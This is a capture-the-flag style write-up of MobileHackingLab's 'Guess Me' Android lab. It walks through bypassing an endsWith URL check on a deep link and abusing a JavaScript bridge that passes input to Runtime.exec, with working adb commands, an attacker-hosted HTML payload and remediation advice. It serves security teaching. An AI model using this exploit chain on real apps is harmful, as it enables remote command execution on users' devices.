Introduction
Guess Me is an Android lab from MobileHackingLab where you bypass Android Intent validation and exploit a command injection vulnerability, to achieve Remote Code Execution.
Methodology
- Explore application
- Identify deep link vulnerability
- Exploit deep link vulnerability
- Identify JavaScript bridge vulnerability
- Exploit JavaScript bridge vulnerability
Explore application
The application generates a random number when it starts up the first time. The goal of the application is to guess which number was generated with the least amount of tries.
Main screen
The Main application screen has an input field to enter your guess value. It also has a few buttons to perform various actions in the game.
You can enter a value between 1 and 100, if you enter the incorrect number, it will display an error message, and clear the input field.
If you enter the incorrect number more than 10 times, you will be presented with a message indicating that you have lost the game and also what the number was.
If you enter the correct number, you will be presented with a message indicating that you have won the game, what the number was, and how many attempts you made.
WebView screen
The WebView screen is used to load local and remote content. The screen is opened by using an Android intent, performing some validation and then deciding which resource to open.
Local content
When you tap the question mark icon on the Main screen, it will open the WebView screen, and render a local HTML file from the application assets.
This HTML file contains a message, the current system date and time, and also a hyperlink to a website.
Remote content
When you tap the link found in the local HTML file rendered in the WebView, it will open the remote resource that it links to in the same WebView screen.
Identify deep link vulnerability
First things first, let’s investigate the AndroidManifest.xml file to get an overview of the application entry points and, where potential deep links might exist.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="34"
android:compileSdkVersionCodename="14"
package="com.mobilehackinglab.guessme"
platformBuildVersionCode="34"
platformBuildVersionName="14">
<!-- ... -->
<application
android:theme="@style/Theme.Encoder"
android:label="@string/app_name"
android:icon="@mipmap/ic_launcher"
android:debuggable="true"
android:allowBackup="true"
android:supportsRtl="true"
android:extractNativeLibs="false"
android:fullBackupContent="@xml/backup_rules"
android:networkSecurityConfig="@xml/network_config"
android:roundIcon="@mipmap/ic_launcher_round"
android:appComponentFactory="androidx.core.app.CoreComponentFactory"
android:dataExtractionRules="@xml/data_extraction_rules">
<activity
android:name="com.mobilehackinglab.guessme.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="com.mobilehackinglab.guessme.WebviewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mhl"
android:host="mobilehackinglab"/>
</intent-filter>
</activity>
<!-- ... -->
</application>
</manifest>
For this section, we will focus on the WebviewActivity to see how it behaves and what we can do with it.
Using adb, we can start it up to see how it displays without us doing anything out of the ordinary. We will use the scheme defined in the AndroidManifest file:
mhl://mobilehackinglab
adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=mhl://mobilehackinglab/... }
This worked; it opened the WebviewActivity and loaded a default webpage.
Let’s take a look at the source code to find out what is happening when the WebviewActivity opens.
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web);
View findViewById = findViewById(R.id.webView);
Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(...)");
this.webView = (WebView) findViewById;
WebView webView = this.webView;
WebView webView2 = null;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
WebSettings webSettings = webView.getSettings();
Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)");
webSettings.setJavaScriptEnabled(true);
WebView webView3 = this.webView;
if (webView3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView3 = null;
}
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
WebView webView4 = this.webView;
if (webView4 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView4 = null;
}
webView4.setWebViewClient(new WebViewClient());
WebView webView5 = this.webView;
if (webView5 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
} else {
webView2 = webView5;
}
webView2.setWebChromeClient(new WebChromeClient());
loadAssetIndex();
handleDeepLink(getIntent());
}
There is a lot happening in this method, and it can be quite confusing. I believe that this was purposely done to make it more difficult to reverse engineer.
WebView initialization
This method initializes the WebView.
It enables JavaScript, adds a JavaScript bridge, and sets some clients to get access to some additional functionality.
For more information about the WebViewClient() and WebChromeClient() there is a post here.
WebView initial page load
This method uses the WebView to load a index.html file from the asset directory of the application.
private final void loadAssetIndex() {
WebView webView = this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl("file:///android_asset/index.html");
}
This is the HTML which is rendered when you open the WebviewActivity without using a deep link.
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("date");
var lines = result.split("\n");
var timeVisited = lines[0];
var fullMessage =
"Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " +
timeVisited;
document.getElementById("result").innerText = fullMessage;
</script>
</body>
</html>
handleDeepLink()
private final void handleDeepLink(Intent intent) {
Uri uri = intent != null ? intent.getData() : null;
if (uri != null) {
if (isValidDeepLink(uri)) {
loadDeepLink(uri);
} else {
loadAssetIndex();
}
}
}
This method does a few checks:
- Does the Intent indicate that it was opened by a deep link
- Does that deep link contain a valid remote URL to open
- Does the remote URL adhere to a predefined format
If all of these checks pass it will render the remote URL in the WebView.
isValidDeepLink(uri)
private final boolean isValidDeepLink(Uri uri) {
if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
return false;
}
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
This method does a few checks:
- Does the URI scheme and host match mhl://mobilehackinglab
- Does the URI have a query string parameter
url
- Does the
url
parameter end inmobilehackinglab.com
If found the URI scheme validation code quite confusing. It checks for things that should not be possible, for instance the https
scheme check, which is not part of the WebviewActivity intent filter.
I spent way too much time trying different combinations and seeing the output results, which turned out to not really be necessary.
In short, you can use Truth tables, along with your different input values, to determine the output.
AND truth table:
A | B | A AND B |
---|---|---|
true | true | true |
true | false | false |
false | true | false |
false | false | false |
OR truth table:
A | B | A OR B |
---|---|---|
true | true | true |
true | false | true |
false | true | true |
false | false | false |
Using the URI:
mhl://mobilehackinglab
if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
return false;
}
The first check, !Intrinsics.areEqual(uri.getScheme(), “mhl”), will be false
The second check, !Intrinsics.areEqual(uri.getScheme(), “https”), will be true
The last check, !Intrinsics.areEqual(uri.getHost(), “mobilehackinglab”), will be false
The final statement, with the values replaced, ((false && true) || false)
, simplified as (false || false)
The final value is false
, which will skip the return false;
and continue executing the rest of the method.
The last part of the method is validating the url
parameter:
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
It expects the URI to contain a query string parameter called url
and that the parameter ends with mobilehackinglab.com
.
Using the URI:
mhl://mobilehackinglab/?url=https://www.mobilehackinglab.com
adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab/?url=https://www.mobilehackinglab.com"
It will open the https://www.mobilehackinglab.com
website:
Exploit deep link vulnerability
From the previous section, we determined that there is limited URL validation on the url
parameter that is sent as part of the deep link.
The validation that happens is a String endsWith
check to make sure the URL ends with the String mobilehackinglab.com
.
What happens if we host our own website that ends with mobilehackinglab.com
and use that as the URL?
Let’s do that now and see if it works.
# Create required directory
mkdir mobilehackinglab.com
# Create index.html file inside the directory
echo -n 'If you can read this it works!' > mobilehackinglab.com/index.html
# Host the content
python3 -m http.server 9090
Using the URI:
mhl://mobilehackinglab/?url=https://<YOUR_IP>:9090/mobilehackinglab.com
adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab?url=http://192.168.110.128:9090/mobilehackinglab.com"
We have successfully bypassed the validation and can now open any website URL as long as it ends with mobilehackinglabs.com
Identify JavaScript bridge vulnerability
While reviewing the HTML page earlier, I noticed some very interesting code:
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("date");
var lines = result.split("\n");
var timeVisited = lines[0];
var fullMessage =
"Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " +
timeVisited;
document.getElementById("result").innerText = fullMessage;
The part that we are most interested in is the AndroidBridge.getTime("date")
part.
If you are not familiar with what a JavaScript bridge is, it is a mechanism to add interfaces that map code between native and JavaScript code.
If we look at the WebView configuration code, you can see where the AndroidBridge
interface is added to the WebView:
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
And the code that interacts with the Native Code can be found in the MyJavaScriptInterface
within the WebviewActivity class:
public final class MyJavaScriptInterface {
public MyJavaScriptInterface() {
}
@JavascriptInterface
public final void loadWebsite(String url) {
Intrinsics.checkNotNullParameter(url, "url");
WebView webView = WebviewActivity.this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(url);
}
@JavascriptInterface
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
}
}
From here, we can identify a command execution vulnerability.
When running it with the original code:
AndroidBridge.getTime("date")
It will generate the command:
date
And running it produces the following output:
emu64xa:/ $ date
Fri Nov 15 20:57:53 CET 2024
emu64xa:/ $
This is where the default WebView screen gets its date output:
Since we have control over this parameter, can we use it to run other commands as well?
Exploit JavaScript bridge vulnerability
Let’s try and modify the command we send to the AndroidBridge
and observe the results.
We will use the index.html
file found in the application assets folder, which we will modify slightly, and run it.
To get everything set up we will perform the following actions:
Create directory structure on disk - mobilehackinglab.com
:
mkdir mobilehackinglab.com
Add index.html file to the mobilehackinglab.com
directory, remember to change date
to another command like id
:
cat << 'EOF' > mobilehackinglab.com/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("id");
var lines = result.split('\n');
var timeVisited = lines[0];
var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
EOF
Run a webserver to host this directory/file:
python3 -m http.server 9090
Execute the adb intent command to launch the Webview Activity:
adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab?url=http://192.168.110.128:9090/mobilehackinglab.com"
As observed in the screenshot, we can see the output of the id
command, which means we can change it to any command available on the device / user and view the output.
Remediation
URL
When dealing with input parameters from the user, I always like to determine if it is really necessary. The easiest fix would be to remove the input parameter completely if it can be replaced with a better approach.
After reading the source code and observing the url
validation, I assume the intent behind the validation was to validate that the incoming url
is mobilehackinglab.com
.
If that assumption is accurate, then the url
parameter can be completely removed and the mobilehackinglab.com
URL can be hardcoded inside the application.
If removing the url
parameter is not an option, you could always construct a URL
object from the url
String and then perform additional validation on the scheme/host/path, which would be an improvement on the current endsWith()
validation.
Command Injection
Creating a JavaScript bridge to retrieve a date from the native code is overkill and unnecessary in this case.
JavaScript has excellent date and time support, which you could just use inside the index.html
file to retrieve the current date.
Unless there is other functionality required, I would remove the AndroidBridge
interface and native code completely.
If removing the AndroidBridge
is not an option, I would create an allow list of commands that are allowed to be passed from the JavaScript code to the native code and perform validation on that before executing anything.
Final thoughts
When working with user-supplied input parameters, it is very important to make sure you have proper validation in place that validates the happy flows but also the edge cases that might exist.
When using JavaScript bridges, always assess whether it is necessary. These bridges are usually needed when the JavaScript itself lacks the ability to perform certain functions, which then need to be delegated to the native code.